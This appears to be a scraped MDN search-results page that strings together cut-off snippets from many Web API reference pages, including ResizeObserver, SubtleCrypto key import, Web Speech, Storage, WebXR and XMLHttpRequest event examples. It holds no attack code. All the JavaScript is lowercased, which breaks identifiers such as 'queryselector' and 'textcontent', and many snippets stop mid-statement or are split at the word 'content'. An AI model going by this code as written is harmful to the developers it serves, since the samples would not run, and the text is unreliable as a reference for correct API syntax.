contents will be contained in arraybuffer objects.
RTCPeerConnection - Web APIs
a track is isolated if its
content cannot be accessed by the owning document due to lack of authentication or if the track comes from a cross-origin source.
... constant description "balanced" the ice agent initially creates one rtcdtlstransport for each type of
content added: audio, video, and data channels.
Range.toString() - Web APIs
alerting the
contents of a range makes an implicit tostring() call, so comparing range and text through an alert dialog is ineffective.
...look at the output below.</p> <p id="log"></p> javascript const range = document.createrange(); range.setstartbefore(document.getelementsbytagname('b').item(0), 0); range.setendafter(document.getelementsbytagname('b').item(1), 0); document.getelementbyid('log').text
content = range.tostring(); result specifications specification status comment domthe definition of 'range.tostring()' in that specification.
Reporting API - Web APIs
the reporting api provides a generic reporting mechanism for web applications to use to make reports available based on various platform features (for example
content security policy, feature-policy, or feature deprecation reports) in a consistent manner.
...such information can include:
content security policy violations.
Request() - Web APIs
ion(response) { return response.blob(); }).then(function(response) { var objecturl = url.createobjecturl(response); myimage.src = objecturl; }); in our fetch request with init example (see fetch request init live) we do the same thing except that we pass in an init object when we invoke fetch(): var myimage = document.queryselector('img'); var myheaders = new headers(); myheaders.append('
content-type', 'image/jpeg'); var myinit = { method: 'get', headers: myheaders, mode: 'cors', cache: 'default' }; var myrequest = new request('flowers.jpg',myinit); fetch(myrequest).then(function(response) { ...
... var myinit = { method: 'get', headers: { '
content-type': 'image/jpeg' }, mode: 'cors', cache: 'default' }; var myrequest = new request('flowers.jpg', myinit); you may also pass a request object to the request() constructor to create a copy of the request (this is similar to calling the clone() method.) var copy = new request(myrequest); note: this last usage is probably only useful in serviceworkers.
Request.destination - Web APIs
the destination read-only property of the request interface returns a string describing the type of
content being requested.
... syntax var destination = request.destination; value a string from the requestdestination enumerated type which indicates the type of
content the request is asking for.
RequestDestination - Web APIs
these string values indicate potential types of
content that a request may try to retrieve.
... "embed" the target is embedded
content.
ResizeObserver() - Web APIs
the resizeobserver constructor creates a new resizeobserver object, which can be used to report changes to the
content or border box of an element or the bounding box of an svgelement.
...ally follow a pattern along the lines of: function(entries, observer) { for (let entry of entries) { // do something to each entry // and possibly something to the observer itself } } examples the following snippet is taken from the resize-observer-text.html (see source) example: const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.
contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.
contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.
contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.
contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.
contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(...
ResizeObserver.observe() - Web APIs
possible values are
content-box (the default), and border-box.
... examples the following snippet is taken from the resize-observer-text.html (see source) example: const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.
contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.
contentboxsize.inlinesize/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.
contentboxsize.inlinesize/600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.
contentrect.width/200) + 'rem'; pelem.style.fontsize = math.max(1, entry.
contentrect.width/600) + 'rem'; } } }); resizeobserver.observe(divelem); an observe() call with an options object would look like so: resizeobserver.observe(divelem, { box : 'border-box' }); specifications ...
Resize Observer API - Web APIs
the resize observer api provides a solution to exactly these kinds of problems, and more besides, allowing you to easily observe and respond to changes in the size of an element’s
content or border box in a performant way.
... the code will usually follow this kind of pattern (taken from resize-observer-border-radius.html): const resizeobserver = new resizeobserver(entries => { for (let entry of entries) { if(entry.
contentboxsize) { entry.target.style.borderradius = math.min(100, (entry.
contentboxsize.inlinesize/10) + (entry.
contentboxsize.blocksize/10)) + 'px'; } else { entry.target.style.borderradius = math.min(100, (entry.
contentrect.width/10) + (entry.
contentrect.height/10)) + 'px'; } ...
Using the Resource Timing API - Web APIs
the encodedbodysize property returns the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied
content-codings.
... decodedbodysize returns the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied
content-codings.
Resource Timing API - Web APIs
the encodedbodysize property returns the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied
content-codings.
... decodedbodysize returns the size (in octets) received from the fetch (http or cache) of the message body, after removing any applied
content-codings.
SVGAnimatedPoints - Web APIs
interface overview also implement none methods none properties readonly svgpointlist points readonly svgpointlist animatedpoints normative document svg 1.1 (2nd edition) properties name type description points svgpointlist provides access to the base (i.e., static)
contents of the points attribute.
... animatedpoints svgpointlist provides access to the current animated
contents of the points attribute.
SVGAnimationElement: endEvent event - Web APIs
ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 30px; } let svgelem = document.queryselector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); let btn = document.queryselector('button'); animateelem.addeventlistener('beginevent', () => { let listitem = document.createelement('li'); listitem.text
content = 'beginevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('endevent', () => { let listitem = document.createelement('li'); listitem.text
content = 'endevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let msg = 'repeatevent fired'; if(e.detail) { msg += '; repeat...
... number: ' + e.detail; } listitem.text
content = msg; list.appendchild(listitem); }) btn.addeventlistener('click', () => { btn.disabled = true; animateelem.setattribute('repeatcount', '1'); }) event handler property equivalent note that you can also create an event listener for the end event using the onend event handler property: animateelem.onend = () => { console.log('endevent fired'); } specifications specification status comment scalable vector graphics (svg) 2the definition of 'endevent' in that specification.
SVGImageElement.decoding - Web APIs
possible values are: sync: decode the image synchronously for atomic presentation with other
content.
... async: decode the image asynchronously to reduce delay in presenting other
content.
Screen Capture API - Web APIs
see the article using the screen capture api for a more in-depth look at how to use the api to capture screen
contents as a stream.
... feature policy validation user agents that support feature policy (either using http's feature-policy header or the <iframe> attribute allow) can specify a desire to use the screen capture api using the policy control directive display-capture: <iframe allow="display-capture" src="/some-other-document.html"> the default allow list is self, which lets the any
content within the document use screen capture.
Selection.setBaseAndExtent() - Web APIs
the setbaseandextent() method of the selection interface sets the selection to be a range including all or parts of two specified dom nodes, and any
content located between them.
...ument.getelementbyid('aoffset'); var foffset = document.getelementbyid('foffset'); var button = document.queryselector('button'); var output = document.queryselector('.output'); var selection; button.onclick = function() { try { selection = document.getselection(); selection.setbaseandextent(one, aoffset.value, two, foffset.value); var text = selection.tostring(); output.text
content = text; } catch(e) { output.text
content = e.message; } } play with the live example below, setting different offset values to see how this affects the selection.
ServiceWorkerGlobalScope - Web APIs
contentdelete occurs when an item is removed from the
content index.
... also available via the serviceworkerglobalscope.on
contentdelete property.
SpeechRecognitionEvent.emma - Web APIs
the exact
contents can vary across user agents and recognition engines, but all supporting implementations will expose a valid xml document complete with an emma namespace.
... examples recognition.onresult = function(event) { var color = event.results[0][0].transcript; diagnostic.text
content = 'result received: ' + color + '.'; bg.style.backgroundcolor = color; console.log(event.emma); } ...
SpeechSynthesis: voiceschanged event - Web APIs
you can use the voiceschanged event in an addeventlistener method: var synth = window.speechsynthesis; synth.addeventlistener('voiceschanged', function() { var voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.text
content = voices[i].name + ' (' + voices[i].lang + ')'; option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } }); or use the onvoiceschanged event handler property: synth.onvoiceschanged = function() { var voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createel...
...ement('option'); option.text
content = voices[i].name + ' (' + voices[i].lang + ')'; option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } specifications specification status comment web speech apithe definition of 'speech synthesis events' in that specification.
SpeechSynthesisErrorEvent.error - Web APIs
text-too-long the
contents of the speechsynthesisutterance.text attribute was too long to synthesize.
... invalid-argument the
content of the speechsynthesisutterance.rate, speechsynthesisutterance.pitch or speechsynthesisutterance.volume property was not valid.
SpeechSynthesisUtterance - Web APIs
it contains the
content the speech service should read and information about how to read it (e.g.
... var synth = window.speechsynthesis; var voices = synth.getvoices(); var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); for(var i = 0; i < voices.length; i++) { var option = document.createelement('option'); option.text
content = voices[i].name + ' (' + voices[i].lang + ')'; option.value = i; voiceselect.appendchild(option); } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); utterthis.voice = voices[voiceselect.value]; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment ...
StorageEstimate.quota - Web APIs
html
content <label> you’re currently using about <output id="percent"> </output>% of your available storage.
... </label> javascript
content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'quota' in that specification.
StorageEstimate.usage - Web APIs
html
content <label> you’re currently using about <output id="percent"> </output>% of your available storage.
... </label> javascript
content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'usage' in that specification.
StorageManager.estimate() - Web APIs
html
content <label> you’re currently using about <output id="percent"> </output>% of your available storage.
... </label> javascript
content navigator.storage.estimate().then(function(estimate) { document.getelementbyid("percent").value = (estimate.usage / estimate.quota * 100).tofixed(2); }); result specifications specification status comment storagethe definition of 'estimate()' in that specification.
Using writable streams - Web APIs
hwatermark: 1 }); let result = ""; const writablestream = new writablestream({ // implement the sink write(chunk) { return new promise((resolve, reject) => { var buffer = new arraybuffer(2); var view = new uint16array(buffer); view[0] = chunk; var decoded = decoder.decode(view, { stream: true }); var listitem = document.createelement('li'); listitem.text
content = "chunk decoded: " + decoded; list.appendchild(listitem); result += decoded; resolve(); }); }, close() { var listitem = document.createelement('li'); listitem.text
content = "[message received] " + result; list.appendchild(listitem); }, abort(err) { console.log("sink error:", err); } }, queuingstrategy); the write() method contains a promise incl...
... writing to actually write
content to the stream we call the sendmessage() function, passing it a message to be written and the stream to write to: sendmessage("hello, world.", writablestream); the sendmessage() definition looks like so: function sendmessage(message, writablestream) { // defaultwriter is of type writablestreamdefaultwriter const defaultwriter = writablestream.getwriter(); const encoder = new textencoder()...
SubtleCrypto.deriveBits() - Web APIs
dcurve: "p-384", public: publickey }, privatekey, 128 ); const buffer = new uint8array(sharedsecret, 0, 5); const sharedsecretvalue = document.queryselector(".ecdh .derived-bits-value"); sharedsecretvalue.classlist.add("fade-in"); sharedsecretvalue.addeventlistener("animationend", () => { sharedsecretvalue.classlist.remove("fade-in"); }); sharedsecretvalue.text
content = `${buffer}...[${sharedsecret.bytelength} bytes total]`; } // generate 2 ecdh key pairs: one for alice and one for bob // in more normal usage, they would generate their key pairs // separately and exchange public keys securely const generatealiceskeypair = window.crypto.subtle.generatekey( { name: "ecdh", namedcurve: "p-384" }, false, ["derivebits"] ); const generatebobskeypai...
...terations": 100000, "hash": "sha-256" }, keymaterial, 256 ); const buffer = new uint8array(derivedbits, 0, 5); const derivedbitsvalue = document.queryselector(".pbkdf2 .derived-bits-value"); derivedbitsvalue.classlist.add("fade-in"); derivedbitsvalue.addeventlistener("animationend", () => { derivedbitsvalue.classlist.remove("fade-in"); }); derivedbitsvalue.text
content = `${buffer}...[${derivedbits.bytelength} bytes total]`; } const derivebitsbutton = document.queryselector(".pbkdf2 .derive-bits-button"); derivebitsbutton.addeventlistener("click", () => { getderivedbits(); }); specifications specification status comment web cryptography apithe definition of 'subtlecrypto.derivebits()' in that specification.
SubtleCrypto.importKey() - Web APIs
*/ function importprivatekey(pem) { // fetch the part of the pem string between header and footer const pemheader = "-----begin private key-----"; const pemfooter = "-----end private key-----"; const pem
contents = pem.substring(pemheader.length, pem.length - pemfooter.length); // base64 decode the string to get the binary data const binaryderstring = window.atob(pem
contents); // convert from a binary string to an arraybuffer const binaryder = str2ab(binaryderstring); return window.crypto.subtle.importkey( "pkcs8", binaryder, { name: "rsa-pss", // consider using a 4096-...
.../tomlhfxvlqsl341tkcf4zqoz96rfpugpplofvn0x66cm1pqckdhzje6u5xge964zkkyuppsy6dcie4obhw4vdjgumlzv0z7ud010rlineugde2fqbfy/c+uwignpbpkkq+bv/uigs6dhqtcved5wgybqidaqab -----end public key-----`; function importrsakey(pem) { // fetch the part of the pem string between header and footer const pemheader = "-----begin public key-----"; const pemfooter = "-----end public key-----"; const pem
contents = pem.substring(pemheader.length, pem.length - pemfooter.length); // base64 decode the string to get the binary data const binaryderstring = window.atob(pem
contents); // convert from a binary string to an arraybuffer const binaryder = str2ab(binaryderstring); return window.crypto.subtle.importkey( "spki", binaryder, { name: "rsa-oaep", hash:...
Supporting both TouchEvent and MouseEvent - Web APIs
however, the reality is the vast majority of today's web
content is designed only to work with mouse input.
... consequently, even if a browser supports touch, the browser must still emulate mouse events so
content that assumes mouse-only input will work as is without direct modification.
TransformStream - Web APIs
const transform
content = { start() {}, // required.
...controller.error("cannot send a symbol as a chunk part") break case 'undefined': controller.error("cannot send undefined as a chunk part") default: controller.enqueue(this.textencoder.encode(string(chunk))) break }, flush() { /* do any destructor work here */ } } class anytou8stream extends transformstream { constructor() { super({...transform
content, textencoder: new textencoder()}) } } polyfilling textencoderstream and textdecoderstream note that this is deprecated by the native constructors.
validityState.badInput - Web APIs
for example, if you have a number input element whose
content is a string.
... example <input type="number" id="age"> var input = document.getelementbyid("age"); if (input.validity.badinput) { console.log("bad input detected…"); } else { console.log("
content of input ok."); } specifications specification status comment html living standardthe definition of 'validitystate.badinput' in that specification.
VideoConfiguration - Web APIs
properties the videoconfiguration dictionary is made up of five video properties, including:
contenttype: a valid video mime type.
... examples // create media configuration to be tested const mediaconfig = { type : 'file', // see mediadecodingconfiguration and mediaencodingconfiguration video : {
contenttype : "video/webm;codecs=vp8", // valid
content type width : 800, // width of the video height : 600, // height of the video bitrate : 10000, // number of bits used to encode 1s of video framerate : 30 // number of frames making up that 1s.
WebGL2RenderingContext - Web APIs
webgl2renderingcontext.invalidateframebuffer() invalidates the
contents of attachments in a framebuffer.
... webgl2renderingcontext.invalidatesubframebuffer() invalidates portions of the
contents of attachments in a framebuffer webgl2renderingcontext.readbuffer() selects a color buffer as the source for pixels.
WebGLRenderingContext.makeXRCompatible() - Web APIs
return value a promise which successfully resolves once the webgl context is ready to be used for rendering webxr
content.
... usage notes because makexrcompatible() may involve replacing the underlying webgl context with a new one that uses the new rendering hardware, the existing
contents of the context may be lost and, therefore, would need to be re-rendered.
Introduction to WebRTC protocols - Web APIs
sdp session description protocol (sdp) is a standard for describing the multimedia
content of the connection such as resolution, formats, codecs, encryption, etc.
...this is, in essence, the metadata describing the
content and not the media
content itself.
Lifetime of a WebRTC session - Web APIs
this page is currently under construction, and some of the
content will move to other pages as the webrtc guide material is built out.
...the exact
contents and form of this identifier is up to you.
WebRTC API - Web APIs
media capture and streams candidate recommendation the initial definition of the object conveying the stream of media
content.
... media capture from dom elements working draft the initial definition on how to obtain stream of
content from dom elements in additions to these specifications defining the api needed to use webrtc, there are several protocols, listed under resources.
WebSocket.send() - Web APIs
arraybuffer you can send the underlying binary data used by a typed array object; its binary data
contents are queued in the buffer, increasing the value of bufferedamount by the requisite number of bytes.
... arraybufferview you can send any javascript typed array object as a binary frame; its binary data
contents are queued in the buffer, increasing the value of bufferedamount by the requisite number of bytes.
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
making the camera's fov smaller reduces the arc that will be included in the viewport, thus enlarging that
content when rendered to the view.
... to zoom using a scaling factor or percentage, you can map 1x (100% of normal size) to the largest value of fov you allow (which leads to the most
content being visible), then map your maximum magnification to the maximum value of fov you support and map corresponding values in between.
Geometry and reference spaces in WebXR - Web APIs
the only real exception is that you are likely to use the viewer reference space when performing the xr scene inline within web
content.
...the reference space's configuration is then able to provide you with the view matrices and object poses needed to correctly render the
contents of the space.
WebXR performance guide - Web APIs
it makes sense, then, to have a limited set of these objects, simply replacing their
contents with the new information each time you need to use them.
... you can, however, still replace the
contents of each of these objects, so they're reusable.
Background audio processing using AudioWorklet - Web APIs
if your processor is just a generator, it can ignore the inputs and just replace the
contents of the outputs with the generated data.
...in the case of an audioworkletnode, the node is considered to be active if its process() function returns true and the node is either generating
content as a source for audio data, or is receiving data from one or more inputs.
Web Speech API - Web APIs
grammar is defined using jspeech grammar format (jsgf.) speech synthesis is accessed via the speechsynthesis interface, a text-to-speech component that allows programs to read out their text
content (normally via the device's default speech synthesiser.) different voice types are represented by speechsynthesisvoice objects, and different parts of text that you want to be spoken are represented by speechsynthesisutterance objects.
...it contains the
content the speech service should read and information about how to read it (e.g.
Using the Web Storage API - Web APIs
on the events page (see events.js) the only javascript is as follows: window.addeventlistener('storage', function(e) { document.queryselector('.my-key').text
content = e.key; document.queryselector('.my-old').text
content = e.oldvalue; document.queryselector('.my-new').text
content = e.newvalue; document.queryselector('.my-url').text
content = e.url; document.queryselector('.my-storage').text
content = json.stringify(e.storagearea); }); here we add an event listener to the window object that fires when the storage object associated with the current origi...
...as you can see above, the event object associated with this event has a number of properties containing useful information — the key of the data that changed, the old value before the change, the new value after that change, the url of the document that changed the storage, and the storage object itself (which we've stringified so you can see its
content).
WheelEvent - Web APIs
even when it does, that doesn't mean that the delta* values in the wheel event necessarily reflect the
content's scrolling direction.
... therefore, do not rely on delta* properties to get the
content's scrolling direction.
Window: clipboardchange event - Web APIs
the clipboardchange event fires when the system clipboard
content changes.
... bubbles no cancelable no interface clipboardevent event handler property none examples javascript window.addeventlistener('clipboardchange', () => { console.log('clipboard
contents changed'); }); specifications specification status clipboard api and eventsthe definition of 'clipboardchange event' in that specification.
window.dump() - Web APIs
it is therefore advisable to either check this preference yourself or use a debugging preference of your own to make sure you don't send lots of debugging
content to a user's console when they might not be interested in it at all.
...note: this preference is not listed in about:config by default, you may need to create it (right-click the
content area -> new -> boolean).
Window: error event - Web APIs
examples live example html <div class="controls"> <button id="script-error" type="button">generate script error</button> <img class="bad-img" /> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-
contents" rows="8" cols="30"></textarea> </div> css body { display: grid; grid-template-areas: "control log"; } .controls { grid-area: control; display: flex; align-items: center; justify-
content: center; } .event-log { grid-area: log; } .event-log-
contents { resize: none; } label, button { display: block; } button { height: 2rem; margin: .5rem; } img { width: 0; heigh...
...t: 0; } js const log = document.queryselector('.event-log-
contents'); window.addeventlistener('error', (event) => { log.text
content = log.text
content + `${event.type}: ${event.message}\n`; console.log(event) }); const scripterror = document.queryselector('#script-error'); scripterror.addeventlistener('click', () => { const badcode = 'const s;'; eval(badcode); }); result specifications specification status ui events working draft ...
Privileged features - Web APIs
this is not for web
content.
... chrome if on, the page is loaded as window's only
content, without any of the browser's interface elements.
Window.sessionStorage - Web APIs
sessionstorage.setitem('mycat', 'tom'); the following example autosaves the
contents of a text field, and if the browser is refreshed, restores the text field
content so that no writing is lost.
... // get the text field that we're going to track let field = document.getelementbyid("field"); // see if we have an autosave value // (this will only happen if the page is accidentally refreshed) if (sessionstorage.getitem("autosave")) { // restore the
contents of the text field field.value = sessionstorage.getitem("autosave"); } // listen for changes in the text field field.addeventlistener("change", function() { // and save the results into the session storage object sessionstorage.setitem("autosave", field.value); }); note: please refer to the using the web storage api article for a full example.
Window.sidebar - Web APIs
methods the sidebar object returned has the following methods: method description (seamonkey) description (firefox) addpanel(title,
contenturl, "") adds a sidebar panel.
... addpersistentpanel(title,
contenturl, "") adds a sidebar panel, which is able to work in the background.
WindowEventHandlers.onbeforeunload - Web APIs
always be shown // chrome requires returnvalue to be set e.returnvalue = ''; }); guarantee the browser unload by removing the returnvalue property of the event window.addeventlistener('beforeunload', function (e) { // the absence of a returnvalue property on the event will guarantee the browser unload happens delete e['returnvalue']; }); notes when your page uses javascript to render
content, the javascript may stop when leaving and then navigating back to the page.
...if you do so, javascript in the page will be triggered on the subsequent return visit and update the
content as desired.
XMLHttpRequest: abort event - Web APIs
border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.text
content = log.text
content + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } fu...
...nction runxhr(url) { log.text
content = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: error event - Web APIs
border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.text
content = log.text
content + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } fu...
...nction runxhr(url) { log.text
content = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest.getAllResponseHeaders() - Web APIs
an example of what a raw header string looks like: date: fri, 08 dec 2017 21:04:30 gmt\r\n
content-encoding: gzip\r\n x-
content-type-options: nosniff\r\n server: meinheld/0.6.1\r\n x-frame-options: deny\r\n
content-type: text/html; charset=utf-8\r\n connection: keep-alive\r\n strict-transport-security: max-age=63072000\r\n vary: cookie, accept-encoding\r\n
content-length: 6502\r\n x-xss-protection: 1; mode=block\r\n each line is terminated by both carriage return and line feed characters (\r\...
...ring into an array // of individual headers var arr = headers.trim().split(/[\r\n]+/); // create a map of header names to values var headermap = {}; arr.foreach(function (line) { var parts = line.split(': '); var header = parts.shift(); var value = parts.join(': '); headermap[header] = value; }); } } once this is done, you can, for example: var
contenttype = headermap["
content-type"]; this obtains the value of the
content-type header into the variable
contenttype.
XMLHttpRequest: load event - Web APIs
border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.text
content = log.text
content + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } fu...
...nction runxhr(url) { log.text
content = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: loadend event - Web APIs
border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.text
content = log.text
content + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } fu...
...nction runxhr(url) { log.text
content = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: loadstart event - Web APIs
border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.text
content = log.text
content + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } fu...
...nction runxhr(url) { log.text
content = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest.overrideMimeType() - Web APIs
note: if the server doesn't provide a
content-type header, xmlhttprequest assumes that the mime type is "text/xml".
... if the
content isn't valid xml, an "xml parsing error: not well-formed" error occurs.
XMLHttpRequest: progress event - Web APIs
border: 1px solid black; margin: .5rem; padding: .2rem; } input { width: 11rem; margin: .5rem; } js const xhrbuttonsuccess = document.queryselector('.xhr.success'); const xhrbuttonerror = document.queryselector('.xhr.error'); const xhrbuttonabort = document.queryselector('.xhr.abort'); const log = document.queryselector('.event-log'); function handleevent(e) { log.text
content = log.text
content + `${e.type}: ${e.loaded} bytes transferred\n`; } function addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } fu...
...nction runxhr(url) { log.text
content = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest.responseType - Web APIs
see html in xmlhttprequest to learn more about using xhr to fetch html
content.
... json the response is a javascript object created by parsing the
contents of received data as json.
XMLHttpRequest.send() - Web APIs
the best way to send binary
content (e.g.
...}; xhr.send(null); // xhr.send('string'); // xhr.send(new blob()); // xhr.send(new int8array()); // xhr.send(document); example: post var xhr = new xmlhttprequest(); xhr.open("post", '/server', true); //send the proper header information along with the request xhr.setrequestheader("
content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { // call a function when the state changes.
XMLHttpRequestResponseType - Web APIs
see html in xmlhttprequest to learn more about using xhr to fetch html
content.
... json the response is a javascript object created by parsing the
contents of received data as json.
XMLSerializer.serializeToString() - Web APIs
invalidstateerror the tree could not be successfully serialized, probably due to issues with the
content's compatibility with xml serialization.
... syntaxerror a serialization of html was requested but could not succeed due to the
content not being well-formed.
XRBoundedReferenceSpace.boundsGeometry - Web APIs
it's important that your
content not be designed to require the user to exit the bounds specified by boundsgeometry.
... however, if the user's surroundings permit them to move in such a way as to exit the defined bounds, your
content must be able to gracefully handle the situation, which is not considered an error condition.
XREnvironmentBlendMode - Web APIs
the webxr api's enumerated type xrenvironmentblendmode defines strings used to identify if and how to blend the rendered virtual
content with the real world.
... alpha-blend used by headsets or goggles which use cameras to capture the real world and display it digitally on the screen or screens used to render the
content for the user to see, this offers a way to create an ar presentation using a vr device.
